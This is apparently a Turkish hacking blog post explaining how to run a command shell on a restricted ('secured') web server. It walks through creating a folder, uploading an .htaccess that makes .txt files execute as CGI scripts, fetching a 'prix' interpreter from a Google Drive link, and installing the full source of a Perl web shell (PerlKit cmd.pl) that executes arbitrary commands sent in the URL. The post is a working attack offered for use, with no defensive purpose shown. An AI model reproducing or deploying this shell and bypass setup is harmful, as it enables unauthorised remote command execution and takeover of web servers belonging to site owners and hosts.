öncelikle bigh diye bi klasör oluşturuyoruz ve içinde .htaccesimizi atıyoruz daha sonra prix i yükleyip txt cmd shelli yüklüyoruz ve shell dizinini kendimize göre editliyoruz ve girdigimizde işlem tamam.
shell kodları
#!/home/bighatz/public_html/bighatz/prix -s
#
# PerlKit-0.1 - http://www.t0s.org
#
# cmd.pl: Run commands on a webserver
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '<HTML>
<body>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="' . $cmd . '">
<input type="submit" value="Run">
</form>
<pre>';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:\n\n";
print "-"x80;
print "\n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while(<CMD>) {
print;
}
close(CMD);
print "-"x80;
print "\n";
}
print "</pre>";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
my ($var, $value) = split('=', $pair, 2);
if($var) {
$value =~ s/\+/ /g ;
$value =~ s/%(..)/pack('c',hex($1))/eg;
$ret{$var} = $value;
}
}
return %ret;
}
.htaccess kodları
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .txt
AddHandler cgi-script .pl
AddHandler cgi-script .pl
prix indirme linki : ttps://drive.google.com/open?id=0ByCV0B0bUdJucUJpeU5ybUg3VUE
0
cmd.pl çalıştırmak güvenlikli sunucuda
20 Eylül 2016 Salı
Morena
Artikel Terkait:
Etiketler:
cmd shell,
linux bypass,
litespeed bypass,
priv bypass,
server bypass
Kaydol:
Kayıt Yorumları (Atom)
0 yorum:
Yorum Gönder